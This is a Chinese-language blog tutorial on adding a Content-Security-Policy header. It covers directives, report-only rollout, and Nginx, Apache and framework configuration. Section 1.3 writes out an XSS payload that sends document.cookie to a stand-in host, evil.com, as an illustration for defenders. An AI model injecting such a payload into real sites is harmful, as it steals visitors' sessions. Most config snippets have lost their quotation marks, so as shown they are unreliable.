我接手过不少老项目每次做安全审计报告里十有八九会躺着一条“HTTP Content-Security-Policy缺失”风险等级还不低。不少人第一反应是“赶紧给响应头加个值”结果策略一写严页面脚本全被拦、样式全崩、后台白屏又急急忙忙回滚。这篇文章就来把这个东西彻底讲清楚CSP 到底是什么、缺失它会造成什么后果以及怎么最快最稳地加上一套能落地的 Content-Security-Policy 响应头。这篇内容适合前端开发、后端工程师、运维和刚接触安全测试的朋友。我会从原理讲到具体配置、从 Nginx 讲到应用层最后把我这几年踩过的坑一并说出来保证你看完能直接动手操作而不是只会抄一个模板。1. CSP到底是什么先搞明白它在防什么1.1 一个真实场景安全扫描报告里的“缺失”前年我给一个内容管理后台做加固扫描器输出里赫然写着“Content-Security-Policy header is missing”旁边跟着一串建议大意是“未检测到 CSP页面存在 XSS 风险”。我当时没有直接改配置而是先看了这个后台的实际情况老系统、模板直接拼 HTML、页面里到处都是内联脚本和 style 属性。这种情况下如果随手加上default-src self后台当天就能罢工。先解释一下 CSP 是什么。它全称 Content-Security-Policy是一个 HTTP 响应头。浏览器拿到这个头之后会按照里面定义的规则限制页面“允许加载哪些来源的资源”“允许执行哪些脚本”。你可以把它理解成小区门口的新门禁系统以前谁都能进现在必须亮出访客名单名单外的统统拦在外面。这个响应头不是新东西主流浏览器已经支持很多年了但国内大量存量项目仍然没有配置。原因很简单不加也能跑加了反而可能弄坏页面。可恰恰是这种“不加也能跑”的心态让 XSS 这类攻击有了可乘之机。1.2 CSP的核心机制指令与来源白名单CSP 的配置不是一句笼统的“允许所有”而是通过一组指令来声明。每个指令管一类资源。我列出最常见的几个default-src兜底策略其他指令没写时都走它。script-src控制 JavaScript 脚本来源。style-src控制 CSS 样式来源。img-src控制图片来源。connect-src控制fetch、XMLHttpRequest、WebSocket等网络请求。font-src控制字体来源。object-src控制object、embed、applet等插件加载。frame-ancestors控制当前页面能否被其他页面用 iframe 嵌套。base-uri限制页面base标签的地址。form-action限制表单提交的地址。指令的值是来源白名单比如self表示“当前站点自身”https://cdn.example.com表示“这个域名下的资源”none表示“什么都不允许”。一个典型的策略长这样Content-Security-Policy: default-src self; script-src self; style-src self; img-src self data:; connect-src self; object-src none这段的意思是所有资源默认只允许从同源加载脚本只执行同源的样式只加载同源的图片可以加载同源的和 data: 协议的网络请求只允许发到同源插件对象直接禁掉。其中最关键是default-src。它像一个总闸其他指令是分闸。如果只写一个default-src self意味着图片、脚本、样式、字体等全都只允许同源但你现在页面里的东西如果来自 CDN或者有内联脚本就全部会被拦。这就是很多人“加了 CSP 网站就崩”的原因没有把分指令配好或者没有给实际用到的第三方来源开白名单。1.3 为什么浏览器默认“什么都允许”是危险的在没有 CSP 的情况下浏览器对页面能加载什么几乎是“零限制”。同源策略限制的是跨域读取但它管不住页面内部被执行的内容。攻击者在评论区、搜索框、URL 参数里注入一段script如果页面把这些内容原样输出浏览器就会老老实实地执行。传统的 XSS 攻击就是这样发生的。比如一个搜索页面把用户输入的关键词直接拼进 HTML攻击者传入scriptnew Image().srchttps://evil.com/?cdocument.cookie/script访客搜一次Cookie 就被悄悄发到了攻击者的服务器。更隐蔽的还有键盘记录、页面篡改、跳转钓鱼页面甚至利用浏览器漏洞下载木马。CSP 的作用不是在服务器层面“过滤输入”而是在浏览器层面“限制输出”。哪怕攻击者成功注入了脚本标签只要script-src不允许加载evil.com、不允许执行内联脚本这段注入就会被浏览器拦截。换句话说CSP 是 XSS 防御的最后一道防线就算后端过滤做漏了浏览器还能帮你兜住。我在实际测试中发现不少系统的 Cookie 已经设置了HttpOnly攻击者拿不到 Cookie但仍然可以通过注入脚本修改页面内容、诱导用户点击恶意按钮。CSP 缺失等于把这道门敞开着攻击者只要找到一个注入点就能随意发挥。2. 缺失CSP的常见表现与影响范围2.1 审计工具报错时代表什么安全扫描器报“Content-Security-Policy缺失”本质是在提示响应头里没有Content-Security-Policy或者Content-Security-Policy-Report-Only。你可以自己在浏览器里验证一下。按 F12 打开开发者工具切到 Network 面板刷新页面点开任意一个文档请求在 Response Headers 里搜索Content-Security-Policy。如果找不到说明这个页面确实没有配置。用命令行更快curl -I https://your-site.com看输出里有没有content-security-policy这一行。如果没有继续看是不是被 CDN、网关给吞了。我遇到过一个项目源站明明配了 CSP但前端套了一层反向代理代理层没放行这个响应头用户浏览器最终还是没有收到。排查的时候要从最终响应往回追不能只看源站配置。这里要提醒一点审计工具报“缺失”是一种简化说法。有些站点配了 CSP 但策略写得极松比如default-src *或者script-src unsafe-inline unsafe-eval *这在工具眼里形同虚设甚至可能不触发“缺失”告警但实际安全性好不到哪里去。所以别把“不报错”当成“安全”。2.2 攻击者利用缺失CSP的典型路径没有 CSP 时XSS 攻击的利用路径非常直接。我梳理一下攻击者最常走的几条路第一是数据窃取。注入脚本读取document.cookie、本地存储、表单输入然后把数据发给攻击者服务器。虽然HttpOnly能保护 Cookie但本地存储里的 Token、敏感输入框的值脚本照样能读。第二是页面劫持。注入脚本修改页面 DOM伪造登录框、支付弹窗诱导用户输入账号密码。这种攻击比单纯偷 Cookie 更阴险因为用户看到的是“正常”的网站页面。第三是恶意跳转。通过修改a标签、location.href把用户导到钓鱼站。很多用户不会仔细看地址栏以为还在原网站。第四是后台操作。如果攻击者注入点在管理后台可以伪造请求调用后台接口。比如后台有一个“修改管理员邮箱”的接口攻击者注入的脚本可以直接fetch这个接口把管理员邮箱改成自己的再走“忘记密码”流程接管账号。CSP 并不能阻止注入发生但能极大降低这些利用路径的成功率。比如connect-src限制了脚本可以请求的地址攻击者即使注入了代码也无法把数据发到自己的服务器script-src禁掉内联脚本后注入的script.../script直接不会执行。2.3 哪些站点最容易中招从我的经验看CSP 缺失最普遍的几类站点第一类是传统服务端渲染项目。尤其是 PHP、ASP.NET、Java 的旧系统HTML 里到处是内联脚本、内联事件后端直接拼接输出这类站点本身就是 XSS 重灾区加上没有 CSP完全是裸奔状态。第二类是快速上线的业务系统。为了赶工期前端往往没有构建阶段直接引入第三方 CDN 的 JS 库页面里还有一堆onclick...。后期想上 CSP发现要让所有内联脚本都合规改动量巨大于是干脆搁置。第三类是纯静态站点和个人博客。这类站点可能只是托管在 Nginx 上没有后端代码很多人觉得“我没什么可被攻击的”完全没考虑过安全头。但静态站同样可能被中间人攻击注入内容或者被用来做钓鱼落地页。第四类是套了 CDN 的站点。CDN 边缘节点如果配置不当可能覆盖或删除源站的 CSP 响应头。我之前排查过一个站点源站已经加了 CSP但 CDN 回源时没有透传最终用户看到的还是没有 CSP。这个在审计时很隐蔽容易被误判成“源站配置缺失”。CSP 缺失的影响范围并不只是“被攻击的一瞬间”。安全评分、合规审查、客户安全问卷都会关注响应头配置很多政企项目招投标有等保要求CSP 就是其中一项检查点。就算不考虑攻击单从合规角度也值得把这事办了。3. 快速落地给网站加上合理的CSP响应头3.1 先做一个只报告不拦截的测试环境很多人一上来就把 CSP 设成强制模式结果线上各种资源被拦、业务报障然后又把 CSP 删掉从此再也不碰。正确的做法是先走“报告模式”。CSP 有一个专门用于测试的响应头Content-Security-Policy-Report-Only。它的作用和Content-Security-Policy完全一样但有一点不同违反策略的资源不会被拦截只会向指定地址发送违规报告。配合报告模式使用的指令是report-uri或report-to。report-uri更老但兼容性更好可以指向一个你自己的后端接口专门接收 JSON 格式的违规报告。你也可以用第三方报告服务比如 report-uri.com或者自己写一个简单接口收集。我的建议是先搭一个报告接收端然后把Content-Security-Policy-Report-Only上到预发或灰度环境观察至少一周。这一周内收集到的报告就是你的页面“真实资源使用清单”。很多你看不到的资源加载都会在这里暴露出来。一个报告模式的响应头示例Content-Security-Policy-Report-Only: default-src self; script-src self; style-src self; img-src self data:; report-uri /csp-report注意report-uri本身也受到connect-src的限制。如果策略里没允许report-uri指定的地址报告可能发不出去。我的习惯是把报告接口放在同源路径下这样基本不会出问题。3.2 最小可用策略的写法与参数说明报告观察完之后就可以整理出一份“最小可用策略”了。所谓最小可用就是既满足当前业务需要又不给攻击者留多余的口子。我给出一个经过反复验证的起步模板Content-Security-Policy: default-src self; script-src self; style-src self unsafe-inline; img-src self data:; font-src self; connect-src self; object-src none; frame-ancestors self; base-uri self; form-action self逐条解释一下为什么这么配default-src self兜底只允许同源资源。script-src self脚本只从同源加载。如果不小心用了内联脚本这里会拦需要继续处理后面会讲 nonce 和 hash 方案。style-src self unsafe-inline允许同源样式和内联样式。很多老页面有大量style...属性不允许内联样式会很难受。这一步是先保业务后续再慢慢收紧。img-src self data:图片同源加 data: URI。很多图标、小图会用 base64 内嵌这个必须放行。font-src self字体同源。connect-src selfXHR、fetch、WebSocket 只能连同源。object-src none禁掉插件加载这基本是安全最佳实践。frame-ancestors self页面只允许被同源页面用 iframe 嵌套防止点击劫持。base-uri self防止base标签篡改页面基础地址。form-action self表单只允许提交到同源。这份策略不是终极版但它解决了 80% 的站点需求。如果业务里有第三方 CDN、统计脚本、API 网关跨域等需要对应调整script-src、img-src、connect-src。比如页面用了https://cdn.example.com/lib.js就要在script-src后面加这个域名。3.3 三步上线观察-调节-收紧我每次给项目上 CSP 都遵循三步走你可以照抄这个流程。第一步观察。在预发环境配置Content-Security-Policy-Report-Only配合report-uri收集一周报告。重点看有没有来自核心业务模块的违规记录。比如发现后台管理页面高频触发script-src违规说明后台有内联脚本没处理。第二步调节。根据报告逐个处理。合规的方式是修代码、改资源引用把第三方域名加入白名单属于“不得已而为之”要评估可信度。这一步的目标是让报告数量降下来接近零违规。第三步收紧。把Content-Security-Policy-Report-Only切换成Content-Security-Policy正式生效。上线后继续观察报告如果突然出现大量违规很可能是某个业务功能被误伤第一时间定位并决定是修代码还是临时放宽。这个流程看着简单但很容易在执行中跑偏。最常见的问题是“报告模式一直挂着不敢切换”结果是线上永远没有真正的 CSP。我的原则是设置一个明确的切换日期报告模式观察期内能解决的违规就解决不能解决的要明确定级——是“功能必须用”还是“历史遗留可改”然后决定放行还是修改。4. 不同部署方式下的配置实操4.1 Nginx配置CSP响应头Nginx 是静态站点最常用的服务器配置 CSP 非常简单用add_header指令就行。server { listen 80; server_name example.com; add_header Content-Security-Policy default-src self; script-src self; style-src self unsafe-inline; img-src self data:; object-src none; }这里有一个非常容易踩的坑add_header在 Nginx 里是有继承规则的。如果某个location块里也写了add_header它会把外层server或http里的所有add_header全部覆盖掉。也就是说如果你在server层配置了 CSP又在某个location里为了加一个X-Frame-Options写了add_header X-Frame-Options DENY;那么被这个location匹配的请求就不会返回 CSP 头了。检查方法很简单用 curl 看那个具体路径的响应头。curl -I https://example.com/some-api如果发现没有 CSP而别的路径有那就是location里的add_header覆盖问题。解决方式是在同一个location里把 CSP 也重新写一遍或者用add_header的继承特性把需要加的响应头统一放在server层避免在location里重复定义除 CSP 以外的add_header。另外如果网站开了 HTTPS 并配置了 HSTS建议把 CSP 和 HSTS 放在一起统一规划避免在多层代理之间来回补头导致遗漏。4.2 Apache配置CSP响应头Apache 通过mod_headers模块配置 CSP。先在 Apache 配置虚拟主机的地方加VirtualHost *:80 ServerName example.com Header always set Content-Security-Policy default-src self; script-src self; style-src self unsafe-inline; img-src self data: /VirtualHost用always关键字是为了确保在返回错误页面时也能带上响应头。Apache 的Header set默认只在 2xx、4xx 等响应上生效某些 3xx 重定向或错误页可能不带而always会强制在所有响应上设置。如果是托管主机没法改虚拟主机配置可以在网站根目录的.htaccess文件里加同样的指令Header always set Content-Security-Policy default-src self; script-src self; style-src self unsafe-inline; img-src self data:.htaccess方式虽然方便但每次请求都要多一次文件解析性能略差生产环境还是优先改虚拟主机配置。4.3 应用层后端框架设置CSP反向代理、网关层没有 CSP 控制权时可以在应用层直接输出响应头。现代后端框架大都有中间件或插件比手工拼字符串规范得多。Node.js 生态里最常用的是 Helmet。Helmet 自带 CSP 中间件而且可以配合nonce机制动态生成随机值const helmet require(helmet); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: [self], scriptSrc: [self, (req, res) nonce-${res.locals.cspNonce}], }, }) );Python Flask 对应的是 Talismanfrom flask_talisman import Talisman Talisman( app, content_security_policy{ default-src: [self], script-src: [self], style-src: [self, unsafe-inline], img-src: [self, data:], }, )Java Spring Security 也有内置的 CSP 配置http.headers() .contentSecurityPolicy(default-src self; script-src self; style-src self unsafe-inline);应用层的优势在于可以根据请求动态生成nonce或hash。对于现代前端应用这是最灵活的方案。但劣势也很明显如果中间只保留了一层 CDNCDN 的缓存策略可能会把响应头缓存住导致动态 nonce 失效。这时候要在 CDN 层对带 nonce 的响应做“跳过缓存”或者让 CDN 不缓存 HTML 文档。5. 常见问题与排查技巧实录5.1 控制台报错“拒绝加载脚本/样式”怎么办上线 CSP 后浏览器控制台会出现类似这样的报错Refused to load the script https://cdn.example.com/lib.js because it violates the following Content Security Policy directive: script-src self.翻译过来就是一个来自 cdn.example.com 的脚本被拦了因为script-src只允许同源。我的处理顺序是这样先确认这个脚本是不是业务必须的。如果是必须的把它加入script-src白名单。比如script-src self https://cdn.example.com注意地址要写完整域名不需要带路径。CSP 的白名单匹配是基于来源的不是基于路径的所以https://cdn.example.com会放行这个域名下所有路径的脚本没有更细粒度的路径白名单机制。如果这个脚本只是某个页面在用并且可以通过把文件下载到本地、走同源部署来解决那就优先本地化不要给外部域名开白名单因为每开一个白名单攻击者可以利用的入口就多一个。样式被拦截、图片被拦截的处理思路完全一样只是把指令换成style-src、img-src而已。5.2 内联脚本和样式的处理方案这是上 CSP 时最让我头疼的问题也是最容易导致项目回滚的原因。老项目里到处是scriptinit();/script加 CSP 后这些脚本全部被禁。处理内联脚本有三种方式第一种用unsafe-inline。在script-src或style-src里加上它内联脚本就能继续执行。但这也意味着 CSP 对注入脚本几乎不设防攻击者注入的script也能执行。所以这个方案只适合作为临时过渡不建议长期使用。第二种用 nonce。服务端每次响应页面时生成一个随机数比如TnVtYmVy...在 CSP 里写script-src self nonce-TnVtYmVy...然后在页面脚本标签上带上同样的 noncescript nonceTnVtYmVy... init(); /script浏览器会比对 CSP 里的 nonce 和 script 标签上的 nonce一致才执行。因为 nonce 每次请求都变攻击者无法预测所以注入的脚本没有合法 nonce会被拦截。nonce 适合服务端渲染项目动态生成很方便。第三种用 hash。把脚本内容做 SHA-256 哈希写到策略里script-src self sha256-ABC123...脚本内容一改哈希就对不上需要同步更新 CSP。所以 hash 适合静态、很少变动的内联脚本。如果内联脚本很多每个都要维护哈希管理成本比较高。我的建议是新项目直接上 nonce 或者干脆全外链脚本老项目先允许unsafe-inline稳业务再分批把关键页面的内联脚本改成外链或 nonce最后再撤掉unsafe-inline。一次到位对老项目不现实分阶段收紧才是正路。5.3 使用现有工具生成和维护CSP手写 CSP 容易漏指令好在有现成工具可以辅助。Google 的 CSP Evaluator 可以评估已有策略指出明显的绕过风险比如unsafe-inline、*、data:在script-src里的滥用。Mozilla Observatory 可以给网站安全打分其中就有 CSP 专项检查项。还有一些在线生成器通过输入你的域名和资源来源自动生成一份基础策略。这类工具适合起步但不建议直接照搬因为它们不知道你的页面具体引用了什么很可能生成出来的策略过严或过宽。更好的做法是结合报告模式的数据来维护。我把收集到的违规报告按来源分组每隔一段时间检查一次新增来源能清理的清理必须用的加白名单。这样策略是“长”出来的不是“拍脑袋”写的既贴合业务又不会失控。另外现在很多 CI/CD 流水线可以集成 CSP 检查。比如构建完之后自动用 headless 浏览器跑一遍页面收集所有资源加载情况生成一份建议策略。这种做法适合前端项目比较规范的团队。6. 从“有”到“对”CSP的进阶调优与个人体会6.1 性能与安全的取舍CSP 顺带能带来一些性能收益。比如object-src none会阻止插件加载减少无谓的请求frame-ancestors防止页面被嵌到第三方 iframe降低广告或恶意嵌套带来的流量损耗。但 CSP 麻烦的一点是策略写得太细维护成本高写得太粗又等于没写。我见过有人为了省事把script-src写成了script-src *这样等于告诉浏览器“任何来源的脚本都能执行”那 CSP 的意义就消失了。还有人把default-src *当成“全部放行”的万能配置这也是错误的。*会放行所有来源只有在你确定某个指令必须完全开放时才能用且决不能用在script-src、object-src这两个指令上。性能和安全的平衡关键在于明确哪些资源是“可信且必要的”哪些是“可有可无的”。统计脚本、A/B 测试脚本、错误上报 SDK这三类第三方脚本经常被开发者默认加白名单但它们恰恰也是最容易被供应链攻击利用的对象。我的建议是第三方脚本尽量做 Subresource IntegritySRI校验就是给script标签加integrity属性同时 CSP 里配合strict-dynamic指令这样即使某个第三方脚本被攻破也无法轻易加载其他恶意脚本。6.2 让CSP适配现代前端构建体系现在很多项目用 Webpack、Vite 构建页面是单页应用资源大多带哈希文件名来自同源 CDN 或对象存储。这类项目配置 CSP 反而比老项目简单因为资源地址可控。你可以在构建时把产物地址列出来生成一份精确的 CSP。如果用了 nonce 机制要注意构建工具是否会在 HTML 里插入内联脚本。比如 Vite 默认会在index.html中注入一段内联脚本用于加载模块如果没有给它加 nonce会导致构建产物在严策略下无法运行。解决办法是在构建模板里针对vite-plugin生成的脚本统一注入 nonce或者在 CSP 里先用 hash 放行固定的构建代码。SSR服务端渲染项目也要特别注意。很多 SSR 框架会把数据序列化后以script内联的形式塞进 HTML比如 Next.js 的__NEXT_DATA__。这类内联脚本不能用unsafe-inline之外的方式最好由服务端为每次请求生成 nonce并在 HTML 渲染时把 nonce 同步到所有脚本标签上。SPA 项目的connect-src也很关键。如果你的前端在生产环境请求多个 API 域名connect-src要逐一列出。还有 WebSocket 域名比如在线客服、实时通知都要加进connect-src否则手机会一直报连接失败。6.3 我踩过的坑与最终建议最后说几个我在实际项目中踩过的坑。第一个是移动端 WebView。有些 App 内嵌 H5 页面WebView 内核版本老旧对 CSP 的支持不完整。我在一个 App 里配置 CSP 后Android 低版本 WebView 直接样式错乱排查了半天发现是旧内核不识别frame-ancestors但会把整条策略解析失败。后来我的处理方案是对 WebView 的 User-Agent 做区分低版本 WebView 返回宽松策略高版本和普通浏览器返回严格策略。这个虽然不够优雅但胜在稳定。第二个是图片的data:与blob:。前端做 canvas 截图、图片预览时经常会生成blob:地址如果img-src只写了self data:这些图片会被拦。建议在需要图片处理的页面把img-src加上blob:同时注意media-src也可能需要它。第三个是升级 HTTPS 时的连带问题。CSP 有一个指令叫upgrade-insecure-requests它的作用是让页面里的所有http://资源自动升级为https://再加载。如果你的站点已经全站 HTTPS可以把这条加上能有效防止页面里残留 http 子资源引起的混合内容问题。但如果你还有第三方资源只支持 http加了这条会导致它们加载失败所以要先确认资源可达性。第四个是报告数据洪水。上线 Report-Only 后如果页面流量大违规报告可能每分钟刷成百上千条容易把后端接口打爆。建议先对报告接口做限流或者用采样机制只记录部分报告。不要一上来就全量收集否则你收到的更多是噪音而不是有效问题。总结一句个人体会我是强烈推荐每个网站都加上 CSP 的但一定要用“报告先行、逐步收紧”的方式落地不要试图一次写出一份完美策略。先让它跑起来再根据真实报告一点点完善这样既不会弄崩业务又能切实提升安全性。回头等你在扫描报告里看到Content-Security-Policy不再是“缺失”状态心里会踏实很多。